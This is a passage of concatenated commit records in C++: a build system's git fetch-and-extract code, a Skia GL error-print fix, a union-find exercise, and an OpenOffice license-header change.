\"git\");\n\t\tpc.addArg(\"remote\");\n\t\t\/\/ If the remote doesn't exist, add it\n\t\tif(remote_url.empty()) {\n\t\t\tpc.addArg(\"add\");\n\t\t} else {\n\t\t\tpc.addArg(\"set-url\");\n\t\t}\n\t\tpc.addArg(\"origin\");\n\t\tpc.addArg(location);\n\t\tif(!pc.Run(this->P)) {\n\t\t\tthrow CustomException(\"Failed: git remote set-url origin\");\n\t\t}\n\n\t\tpc = PackageCmd(source_dir, \"git\");\n\t\tpc.addArg(\"fetch\");\n\t\tpc.addArg(\"origin\");\n\t\tpc.addArg(\"--tags\");\n\t\tif(!pc.Run(this->P)) {\n\t\t\tthrow CustomException(\"Failed: git fetch origin --tags\");\n\t\t}\n\t}\n\n\treturn true;\n}\n\nbool GitExtractionUnit::fetch(BuildDir *d)\n{\n\tstd::string location = this->uri;\n\tstd::string source_dir = this->local;\n\tstd::string cwd = d->getWorld()->getWorkingDir();\n\n\tbool exists = directory_exists(source_dir);\n\n\tPackageCmd pc(exists ? source_dir : cwd, \"git\");\n\n\tif(exists) {\n\t\t\/* Update the origin *\/\n\t\tthis->updateOrigin();\n\t\t\/* Check if the commit is already present *\/\n\t\tstd::string cmd =\n\t\t    \"cd \" + source_dir + \"; git cat-file -e \" + this->refspec + \" 2>\/dev\/null\";\n\t\tif(std::system(cmd.c_str()) != 0) {\n\t\t\t\/* If not, fetch everything from origin *\/\n\t\t\tpc.addArg(\"fetch\");\n\t\t\tpc.addArg(\"origin\");\n\t\t\tpc.addArg(\"--tags\");\n\t\t\tif(!pc.Run(this->P)) {\n\t\t\t\tthrow CustomException(\"Failed: git fetch origin --tags\");\n\t\t\t}\n\t\t}\n\t} else {\n\t\tpc.addArg(\"clone\");\n\t\tpc.addArg(\"-n\");\n\t\tpc.addArg(location);\n\t\tpc.addArg(source_dir);\n\t\tif(!pc.Run(this->P)) {\n\t\t\tthrow CustomException(\"Failed to git clone\");\n\t\t}\n\t}\n\n\tif(this->refspec == \"HEAD\") {\n\t\t\/\/ Don't touch it\n\t} else {\n\t\tstd::string cmd = \"cd \" + source_dir +\n\t\t                  \"; git show-ref --quiet --verify -- refs\/heads\/\" + this->refspec;\n\t\tif(std::system(cmd.c_str()) == 0) {\n\t\t\tstd::string head_hash = git_hash_ref(source_dir, \"HEAD\");\n\t\t\tstd::string branch_hash = git_hash_ref(source_dir, this->refspec);\n\t\t\tif(head_hash != branch_hash) {\n\t\t\t\tthrow CustomException(\"Asked to use branch: \" + this->refspec + \", but \" +\n\t\t\t\t                      source_dir + \" is off somewhere else\");\n\t\t\t}\n\t\t} else {\n\t\t\tpc = PackageCmd(source_dir, \"git\");\n\t\t\t\/\/ switch to refspec\n\t\t\tpc.addArg(\"checkout\");\n\t\t\tpc.addArg(\"-q\");\n\t\t\tpc.addArg(\"--detach\");\n\t\t\tpc.addArg(this->refspec);\n\t\t\tif(!pc.Run(this->P)) {\n\t\t\t\tthrow CustomException(\"Failed to checkout\");\n\t\t\t}\n\t\t}\n\t}\n\tbool res = true;\n\n\tstd::string _hash = git_hash(source_dir);\n\n\tif(!this->hash.empty()) {\n\t\tif(this->hash != _hash) {\n\t\t\tlog(this->P,\n\t\t\t    boost::format{\"Hash mismatch for %1%\\n(committed to %2%, providing %3%)\"} %\n\t\t\t        this->uri % this->hash % _hash);\n\t\t\tres = false;\n\t\t}\n\t} else {\n\t\tthis->hash = _hash;\n\t}\n\n\tthis->fetched = res;\n\n\treturn res;\n}\n\nstd::string GitExtractionUnit::HASH()\n{\n\tif(refspec_is_commitid(this->refspec)) {\n\t\tthis->hash = this->refspec;\n\t} else {\n\t\tstd::string digest_name = this->uri + \"#\" + this->refspec;\n\t\t\/* Check if the package contains pre-computed hashes *\/\n\t\tstd::string Hash = P->getFileHash(digest_name);\n\t\tif(Hash.empty()) {\n\t\t\tthis->fetch(P->builddir());\n\t\t} else {\n\t\t\tthis->hash = Hash;\n\t\t}\n\t}\n\treturn this->hash;\n}\n\nbool GitExtractionUnit::extract(Package *_P)\n{\n\t\/\/ make sure it has been fetched\n\tif(!this->fetched) {\n\t\tif(!this->fetch(_P->builddir())) {\n\t\t\treturn false;\n\t\t}\n\t}\n\t\/\/ copy to work dir\n\tPackageCmd pc(_P->builddir()->getPath(), \"cp\");\n\tpc.addArg(\"-dpRuf\");\n\tpc.addArg(this->localPath());\n\tpc.addArg(\".\");\n\tif(!pc.Run(_P)) {\n\t\tthrow CustomException(\"Failed to checkout\");\n\t}\n\n\treturn true;\n}\n\nbool LinkGitDirExtractionUnit::extract(Package *P)\n{\n\tPackageCmd pc(P->builddir()->getPath(), \"ln\");\n\n\tpc.addArg(\"-sfT\");\n\n\tif(this->uri.at(0) == '.') {\n\t\tstd::string arg = P->getWorld()->getWorkingDir() + \"\/\" + this->uri;\n\t\tpc.addArg(arg);\n\t} else {\n\t\tpc.addArg(this->uri);\n\t}\n\tpc.addArg(this->toDir);\n\n\tif(!pc.Run(P)) {\n\t\tthrow CustomException(\"Operation failed\");\n\t}\n\n\treturn true;\n}\n\nbool CopyGitDirExtractionUnit::extract(Package *P)\n{\n\tPackageCmd pc(P->builddir()->getPath(), \"cp\");\n\tpc.addArg(\"-dpRuf\");\n\n\tif(this->uri.at(0) == '.') {\n\t\tstd::string arg = P->getWorld()->getWorkingDir() + \"\/\" + this->uri;\n\t\tpc.addArg(arg);\n\t} else {\n\t\tpc.addArg(this->uri);\n\t}\n\tpc.addArg(this->toDir);\n\n\tif(!pc.Run(P)) {\n\t\tthrow CustomException(\"Operation failed\");\n\t}\n\n\treturn true;\n}\n<commit_msg>extraction\/git: Remove directory_exists function<commit_after>\/******************************************************************************\n Copyright 2019 Allied Telesis Labs Ltd. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice,\n       this list of conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright\n       notice, this list of conditions and the following disclaimer in the\n       documentation and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*******************************************************************************\/\n\n#include \"include\/buildsys.h\"\n\nstatic bool refspec_is_commitid(const std::string &refspec)\n{\n\tif(refspec.length() != 40) {\n\t\treturn false;\n\t}\n\n\tfor(char const &c : refspec) {\n\t\tif(isxdigit(c) == 0) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\nstatic std::string git_hash_ref(const std::string &gdir, const std::string &refspec)\n{\n\tstd::string cmd = \"cd \" + gdir + \" && git rev-parse \" + refspec;\n\tFILE *f = popen(cmd.c_str(), \"r\");\n\tif(f == nullptr) {\n\t\tthrow CustomException(\"git rev-parse ref failed\");\n\t}\n\tchar commit[41] = {};\n\tfread(commit, sizeof(char), 40, f);\n\tpclose(f);\n\n\treturn std::string(commit);\n}\n\nstatic std::string git_hash(const std::string &gdir)\n{\n\treturn git_hash_ref(gdir, \"HEAD\");\n}\n\nstatic std::string git_diff_hash(const std::string &gdir)\n{\n\tstd::string cmd = \"cd \" + gdir + \" && git diff HEAD | sha1sum\";\n\tFILE *f = popen(cmd.c_str(), \"r\");\n\tif(f == nullptr) {\n\t\tthrow CustomException(\"git diff | sha1sum failed\");\n\t}\n\tchar delta_hash[41] = {};\n\tfread(delta_hash, sizeof(char), 40, f);\n\tpclose(f);\n\n\treturn std::string(delta_hash);\n}\n\nstatic std::string git_remote(const std::string &gdir, const std::string &remote)\n{\n\tstd::string cmd =\n\t    \"cd \" + gdir + \" && git config --local --get remote.\" + remote + \".url\";\n\tFILE *f = popen(cmd.c_str(), \"r\");\n\tif(f == nullptr) {\n\t\tthrow CustomException(\"git config --local --get remote. .url failed\");\n\t}\n\tchar output[1025] = {};\n\tfread(output, sizeof(char), 1024, f);\n\tpclose(f);\n\n\treturn std::string(output);\n}\n\nGitDirExtractionUnit::GitDirExtractionUnit(const std::string &git_dir,\n                                           const std::string &to_dir)\n{\n\tthis->uri = git_dir;\n\tthis->hash = git_hash(this->uri);\n\tthis->toDir = to_dir;\n}\n\nbool GitDirExtractionUnit::isDirty()\n{\n\tif(!filesystem::is_directory(this->localPath())) {\n\t\t\/* If the source directory doesn't exist, then it can't be dirty *\/\n\t\treturn false;\n\t}\n\n\tauto cmd = boost::format{\"cd %1% && git diff --quiet HEAD\"} % this->localPath();\n\treturn (std::system(cmd.str().c_str()) != 0);\n}\n\nstd::string GitDirExtractionUnit::dirtyHash()\n{\n\treturn git_diff_hash(this->localPath());\n}\n\nGitExtractionUnit::GitExtractionUnit(const std::string &remote, const std::string &_local,\n                                     std::string _refspec, Package *_P)\n{\n\tthis->uri = remote;\n\tthis->local = _P->getWorld()->getWorkingDir() + \"\/source\/\" + _local;\n\tthis->refspec = std::move(_refspec);\n\tthis->P = _P;\n\tthis->fetched = false;\n}\n\nbool GitExtractionUnit::updateOrigin()\n{\n\tstd::string location = this->uri;\n\tstd::string source_dir = this->local;\n\tstd::string remote_url = git_remote(source_dir, \"origin\");\n\n\tif(remote_url != location) {\n\t\tPackageCmd pc(source_dir, \"git\");\n\t\tpc.addArg(\"remote\");\n\t\t\/\/ If the remote doesn't exist, add it\n\t\tif(remote_url.empty()) {\n\t\t\tpc.addArg(\"add\");\n\t\t} else {\n\t\t\tpc.addArg(\"set-url\");\n\t\t}\n\t\tpc.addArg(\"origin\");\n\t\tpc.addArg(location);\n\t\tif(!pc.Run(this->P)) {\n\t\t\tthrow CustomException(\"Failed: git remote set-url origin\");\n\t\t}\n\n\t\tpc = PackageCmd(source_dir, \"git\");\n\t\tpc.addArg(\"fetch\");\n\t\tpc.addArg(\"origin\");\n\t\tpc.addArg(\"--tags\");\n\t\tif(!pc.Run(this->P)) {\n\t\t\tthrow CustomException(\"Failed: git fetch origin --tags\");\n\t\t}\n\t}\n\n\treturn true;\n}\n\nbool GitExtractionUnit::fetch(BuildDir *d)\n{\n\tstd::string location = this->uri;\n\tstd::string source_dir = this->local;\n\tstd::string cwd = d->getWorld()->getWorkingDir();\n\n\tbool exists = filesystem::is_directory(source_dir);\n\n\tPackageCmd pc(exists ? source_dir : cwd, \"git\");\n\n\tif(exists) {\n\t\t\/* Update the origin *\/\n\t\tthis->updateOrigin();\n\t\t\/* Check if the commit is already present *\/\n\t\tstd::string cmd =\n\t\t    \"cd \" + source_dir + \"; git cat-file -e \" + this->refspec + \" 2>\/dev\/null\";\n\t\tif(std::system(cmd.c_str()) != 0) {\n\t\t\t\/* If not, fetch everything from origin *\/\n\t\t\tpc.addArg(\"fetch\");\n\t\t\tpc.addArg(\"origin\");\n\t\t\tpc.addArg(\"--tags\");\n\t\t\tif(!pc.Run(this->P)) {\n\t\t\t\tthrow CustomException(\"Failed: git fetch origin --tags\");\n\t\t\t}\n\t\t}\n\t} else {\n\t\tpc.addArg(\"clone\");\n\t\tpc.addArg(\"-n\");\n\t\tpc.addArg(location);\n\t\tpc.addArg(source_dir);\n\t\tif(!pc.Run(this->P)) {\n\t\t\tthrow CustomException(\"Failed to git clone\");\n\t\t}\n\t}\n\n\tif(this->refspec == \"HEAD\") {\n\t\t\/\/ Don't touch it\n\t} else {\n\t\tstd::string cmd = \"cd \" + source_dir +\n\t\t                  \"; git show-ref --quiet --verify -- refs\/heads\/\" + this->refspec;\n\t\tif(std::system(cmd.c_str()) == 0) {\n\t\t\tstd::string head_hash = git_hash_ref(source_dir, \"HEAD\");\n\t\t\tstd::string branch_hash = git_hash_ref(source_dir, this->refspec);\n\t\t\tif(head_hash != branch_hash) {\n\t\t\t\tthrow CustomException(\"Asked to use branch: \" + this->refspec + \", but \" +\n\t\t\t\t                      source_dir + \" is off somewhere else\");\n\t\t\t}\n\t\t} else {\n\t\t\tpc = PackageCmd(source_dir, \"git\");\n\t\t\t\/\/ switch to refspec\n\t\t\tpc.addArg(\"checkout\");\n\t\t\tpc.addArg(\"-q\");\n\t\t\tpc.addArg(\"--detach\");\n\t\t\tpc.addArg(this->refspec);\n\t\t\tif(!pc.Run(this->P)) {\n\t\t\t\tthrow CustomException(\"Failed to checkout\");\n\t\t\t}\n\t\t}\n\t}\n\tbool res = true;\n\n\tstd::string _hash = git_hash(source_dir);\n\n\tif(!this->hash.empty()) {\n\t\tif(this->hash != _hash) {\n\t\t\tlog(this->P,\n\t\t\t    boost::format{\"Hash mismatch for %1%\\n(committed to %2%, providing %3%)\"} %\n\t\t\t        this->uri % this->hash % _hash);\n\t\t\tres = false;\n\t\t}\n\t} else {\n\t\tthis->hash = _hash;\n\t}\n\n\tthis->fetched = res;\n\n\treturn res;\n}\n\nstd::string GitExtractionUnit::HASH()\n{\n\tif(refspec_is_commitid(this->refspec)) {\n\t\tthis->hash = this->refspec;\n\t} else {\n\t\tstd::string digest_name = this->uri + \"#\" + this->refspec;\n\t\t\/* Check if the package contains pre-computed hashes *\/\n\t\tstd::string Hash = P->getFileHash(digest_name);\n\t\tif(Hash.empty()) {\n\t\t\tthis->fetch(P->builddir());\n\t\t} else {\n\t\t\tthis->hash = Hash;\n\t\t}\n\t}\n\treturn this->hash;\n}\n\nbool GitExtractionUnit::extract(Package *_P)\n{\n\t\/\/ make sure it has been fetched\n\tif(!this->fetched) {\n\t\tif(!this->fetch(_P->builddir())) {\n\t\t\treturn false;\n\t\t}\n\t}\n\t\/\/ copy to work dir\n\tPackageCmd pc(_P->builddir()->getPath(), \"cp\");\n\tpc.addArg(\"-dpRuf\");\n\tpc.addArg(this->localPath());\n\tpc.addArg(\".\");\n\tif(!pc.Run(_P)) {\n\t\tthrow CustomException(\"Failed to checkout\");\n\t}\n\n\treturn true;\n}\n\nbool LinkGitDirExtractionUnit::extract(Package *P)\n{\n\tPackageCmd pc(P->builddir()->getPath(), \"ln\");\n\n\tpc.addArg(\"-sfT\");\n\n\tif(this->uri.at(0) == '.') {\n\t\tstd::string arg = P->getWorld()->getWorkingDir() + \"\/\" + this->uri;\n\t\tpc.addArg(arg);\n\t} else {\n\t\tpc.addArg(this->uri);\n\t}\n\tpc.addArg(this->toDir);\n\n\tif(!pc.Run(P)) {\n\t\tthrow CustomException(\"Operation failed\");\n\t}\n\n\treturn true;\n}\n\nbool CopyGitDirExtractionUnit::extract(Package *P)\n{\n\tPackageCmd pc(P->builddir()->getPath(), \"cp\");\n\tpc.addArg(\"-dpRuf\");\n\n\tif(this->uri.at(0) == '.') {\n\t\tstd::string arg = P->getWorld()->getWorkingDir() + \"\/\" + this->uri;\n\t\tpc.addArg(arg);\n\t} else {\n\t\tpc.addArg(this->uri);\n\t}\n\tpc.addArg(this->toDir);\n\n\tif(!pc.Run(P)) {\n\t\tthrow CustomException(\"Operation failed\");\n\t}\n\n\treturn true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#include \"GrGLConfig.h\"\n#include \"GrGLInterface.h\"\n\nvoid GrGLClearErr(const GrGLInterface* gl) {\n    while (GR_GL_NO_ERROR != gl->fGetError()) {}\n}\n\nvoid GrGLCheckErr(const GrGLInterface* gl,\n                  const char* location,\n                  const char* call) {\n    uint32_t err = GR_GL_GET_ERROR(gl);\n    if (GR_GL_NO_ERROR != err) {\n        GrPrintf(\"---- glGetError %x\", GR_GL_GET_ERROR(gl));\n        if (NULL != location) {\n            GrPrintf(\" at\\n\\t%s\", location);\n        }\n        if (NULL != call) {\n            GrPrintf(\"\\n\\t\\t%s\", call);\n        }\n        GrPrintf(\"\\n\");\n    }\n}\n\nvoid GrGLResetRowLength(const GrGLInterface* gl) {\n    if (gl->supportsDesktop()) {\n        GR_GL_CALL(gl, PixelStorei(GR_GL_UNPACK_ROW_LENGTH, 0));\n    }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if GR_GL_LOG_CALLS\n    bool gLogCallsGL = !!(GR_GL_LOG_CALLS_START);\n#endif\n\n#if GR_GL_CHECK_ERROR\n    bool gCheckErrorGL = !!(GR_GL_CHECK_ERROR_START);\n#endif\n\n<commit_msg>Fix gl error debug print.<commit_after>\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#include \"GrGLConfig.h\"\n#include \"GrGLInterface.h\"\n\nvoid GrGLClearErr(const GrGLInterface* gl) {\n    while (GR_GL_NO_ERROR != gl->fGetError()) {}\n}\n\nvoid GrGLCheckErr(const GrGLInterface* gl,\n                  const char* location,\n                  const char* call) {\n    uint32_t err = GR_GL_GET_ERROR(gl);\n    if (GR_GL_NO_ERROR != err) {\n        GrPrintf(\"---- glGetError %x\", err);\n        if (NULL != location) {\n            GrPrintf(\" at\\n\\t%s\", location);\n        }\n        if (NULL != call) {\n            GrPrintf(\"\\n\\t\\t%s\", call);\n        }\n        GrPrintf(\"\\n\");\n    }\n}\n\nvoid GrGLResetRowLength(const GrGLInterface* gl) {\n    if (gl->supportsDesktop()) {\n        GR_GL_CALL(gl, PixelStorei(GR_GL_UNPACK_ROW_LENGTH, 0));\n    }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if GR_GL_LOG_CALLS\n    bool gLogCallsGL = !!(GR_GL_LOG_CALLS_START);\n#endif\n\n#if GR_GL_CHECK_ERROR\n    bool gCheckErrorGL = !!(GR_GL_CHECK_ERROR_START);\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <vector>\n#include <algorithm>\n\nusing namespace std;\n\nclass UF {\nprivate:\n    char *V;\n    int N;\npublic:\n    UF(int N);\n    void connect(char a, char b);\n    void show(void);\n};\n\n\nint main(void) {\n    ios::sync_with_stdio(false);\n\n    int N;\n\n    cin >> N;\n\n    for (int i = 1; i <= N; i++) {\n        int V, E;\n\n        cin >> V >> E;\n        cin.ignore();\n\n        UF uf(V);\n\n        for (int j = 0; j < E; j++) {\n            char a, b;\n\n            cin >> a;\n            cin.ignore();\n\n            cin >> b;\n            cin.ignore();\n\n            uf.connect(a, b);\n        }\n\n        cout << \"Case #\" << i << \":\\n\";\n        uf.show();\n        cout << '\\n';\n    }\n\n    return 0;\n}\n\nUF::UF(int N) {\n    this->N = N;\n    this->V = new char[this->N];\n\n    for (int i = 0; i < N; i++) {\n        this->V[i] = 'a' + i;\n    }\n}\n\nvoid UF::connect(char a, char b) {\n    char a_value = this->V[a - 'a'];\n    char b_value = this->V[b - 'a'];\n\n    if (a_value == b_value) return;\n\n    for (int i = 0; i < this->N; i++) {\n        if (this->V[i] == b_value) this->V[i] = a_value;\n    }\n}\n\nvoid UF::show(void) {\n    vector<char> components[this->N];\n\n    for (int i = 0; i < this->N; i++) {\n        components[this->V[i] - 'a'].push_back(char(i + 'a'));\n    }\n\n    for (int i = 0; i < this->N; i++) {\n        sort(components[i].begin(), components[i].end());\n    }\n\n    sort(components, components + this->N, [](const vector<char> &a, const vector<char> &b) -> bool {\n        if (a.size() > 0 && b.size() > 0) return a[0] < b[0];\n        else if (a.size() > 0 && b.size() == 0) return true;\n        else if (a.size() == 0 && b.size() > 0) return false;\n        else return false;\n    } );\n\n    int connectedComponents = 0;\n    for (int i = 0; i < this->N; i++) {\n        if (components[i].size() > 0) {\n            connectedComponents++;\n            for (int j = 0; j < components[i].size(); j++) {\n                cout << components[i][j] << ',';\n            }\n            cout << '\\n';\n        }\n    }\n\n    cout << connectedComponents << \" connected components\\n\";\n}\n<commit_msg>Grafos: 1082.<commit_after>#include <iostream>\n#include <vector>\n\nusing namespace std;\n\nclass UF {\nprivate:\n    char *V;\n    int N;\npublic:\n    UF(int N);\n    void connect(char a, char b);\n    void show(void);\n};\n\n\nint main(void) {\n    ios::sync_with_stdio(false);\n\n    int N;\n\n    cin >> N;\n\n    for (int i = 1; i <= N; i++) {\n        int V, E;\n\n        cin >> V >> E;\n        cin.ignore();\n\n        UF uf(V);\n\n        for (int j = 0; j < E; j++) {\n            char a, b;\n\n            cin >> a;\n            cin.ignore();\n\n            cin >> b;\n            cin.ignore();\n\n            uf.connect(a, b);\n        }\n\n        cout << \"Case #\" << i << \":\\n\";\n        uf.show();\n        cout << '\\n';\n    }\n\n    return 0;\n}\n\nUF::UF(int N) {\n    this->N = N;\n    this->V = new char[this->N];\n\n    for (int i = 0; i < N; i++) {\n        this->V[i] = 'a' + i;\n    }\n}\n\nvoid UF::connect(char a, char b) {\n    char a_value = this->V[a - 'a'];\n    char b_value = this->V[b - 'a'];\n\n    if (a_value == b_value) return;\n\n    if (b_value < a_value) {\n        this->connect(b, a);\n        return;\n    }\n\n    for (int i = 0; i < this->N; i++) {\n        if (this->V[i] == b_value) this->V[i] = a_value;\n    }\n}\n\nvoid UF::show(void) {\n    vector<char> components[this->N];\n\n    for (int i = 0; i < this->N; i++) {\n        components[this->V[i] - 'a'].push_back(char(i + 'a'));\n    }\n\n    int connectedComponents = 0;\n    for (int i = 0; i < this->N; i++) {\n        if (components[i].size() > 0) {\n            connectedComponents++;\n            for (int j = 0; j < components[i].size(); j++) {\n                cout << components[i][j] << ',';\n            }\n            cout << '\\n';\n        }\n    }\n\n    cout << connectedComponents << \" connected components\\n\";\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: HtmlReader.hxx,v $\n *\n *  $Revision: 1.7 $\n *\n *  last change: $Author: oj $ $Date: 2002-07-09 12:31:32 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the License); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an AS IS basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef DBAUI_HTMLREADER_HXX\n#define DBAUI_HTMLREADER_HXX\n\n#ifndef DBAUI_DATABASEEXPORT_HXX\n#include \"DExport.hxx\"\n#endif\n#ifndef _PARHTML_HXX \/\/autogen\n#include <svtools\/parhtml.hxx>\n#endif\n#ifndef _SVX_SVXENUM_HXX\n#include <svx\/svxenum.hxx>\n#endif\n#ifndef _STREAM_HXX\n#include <tools\/stream.hxx>\n#endif\n#ifndef _COM_SUN_STAR_AWT_FONTDESCRIPTOR_HPP_\n#include <com\/sun\/star\/awt\/FontDescriptor.hpp>\n#endif\n\n\nnamespace dbaui\n{\n    \/\/===============================================================================================\n    \/\/ OHTMLReader\n    \/\/===============================================================================================\n    class OHTMLReader : public HTMLParser, public ODatabaseExport\n    {\n\n        sal_Int32           m_nTableCount;\n        sal_Int16           m_nWidth;\n        sal_Int16           m_nColumnWidth;     \/\/ max. Spaltenbreite\n        sal_Bool            m_bMetaOptions;     \/\/ true when we scaned the meta information\n        sal_Bool            m_bSDNum;\n    protected:\n        virtual void        NextToken( int nToken ); \/\/ Basisklasse\n        virtual sal_Bool    CreateTable(int nToken);\n\n        \/** createPage creates the tabpage for this type\n            @param  _pParent    teh parent window\n        *\/\n        virtual OWizTypeSelect* createPage(Window* _pParent);\n\n        void                TableDataOn(SvxCellHorJustify& eVal,String *pValue,int nToken);\n        void                TableFontOn(::com::sun::star::awt::FontDescriptor& _rFont,sal_Int32 &_rTextColor);\n        sal_Int16           GetWidthPixel( const HTMLOption* pOption );\n        rtl_TextEncoding    GetEncodingByMIME( const String& rMime );\n        void                setTextEncoding();\n        ~OHTMLReader();\n    public:\n        OHTMLReader(SvStream& rIn,\n                    const ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XConnection >& _rxConnection,\n                    const ::com::sun::star::uno::Reference< ::com::sun::star::util::XNumberFormatter >& _rxNumberF,\n                    const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >& _rM,\n                    const TColumnVector* rList = 0,\n                    const OTypeInfoMap* _pInfoMap = 0);\n        \/\/ wird f\"ur auto. Typ-Erkennung gebraucht\n        OHTMLReader(SvStream& rIn,\n                    sal_Int32 nRows,\n                    const TPositions &_rColumnPositions,\n                    const ::com::sun::star::uno::Reference< ::com::sun::star::util::XNumberFormatter >& _rxNumberF,\n                    const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >& _rM,\n                    const TColumnVector* rList = 0,\n                    const OTypeInfoMap* _pInfoMap = 0);\n\n        virtual     SvParserState CallParser();\/\/ Basisklasse\n        virtual     void          release();\n        \/\/ birgt nur korrekte Daten, wenn der 2. CTOR benutzt wurde\n    };\n\n    SV_DECL_IMPL_REF( OHTMLReader );\n}\n#endif \/\/ DBAUI_HTMLREADER_HXX\n\n\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.7.478); FILE MERGED 2005\/09\/05 17:34:18 rt 1.7.478.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: HtmlReader.hxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 15:17:56 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef DBAUI_HTMLREADER_HXX\n#define DBAUI_HTMLREADER_HXX\n\n#ifndef DBAUI_DATABASEEXPORT_HXX\n#include \"DExport.hxx\"\n#endif\n#ifndef _PARHTML_HXX \/\/autogen\n#include <svtools\/parhtml.hxx>\n#endif\n#ifndef _SVX_SVXENUM_HXX\n#include <svx\/svxenum.hxx>\n#endif\n#ifndef _STREAM_HXX\n#include <tools\/stream.hxx>\n#endif\n#ifndef _COM_SUN_STAR_AWT_FONTDESCRIPTOR_HPP_\n#include <com\/sun\/star\/awt\/FontDescriptor.hpp>\n#endif\n\n\nnamespace dbaui\n{\n    \/\/===============================================================================================\n    \/\/ OHTMLReader\n    \/\/===============================================================================================\n    class OHTMLReader : public HTMLParser, public ODatabaseExport\n    {\n\n        sal_Int32           m_nTableCount;\n        sal_Int16           m_nWidth;\n        sal_Int16           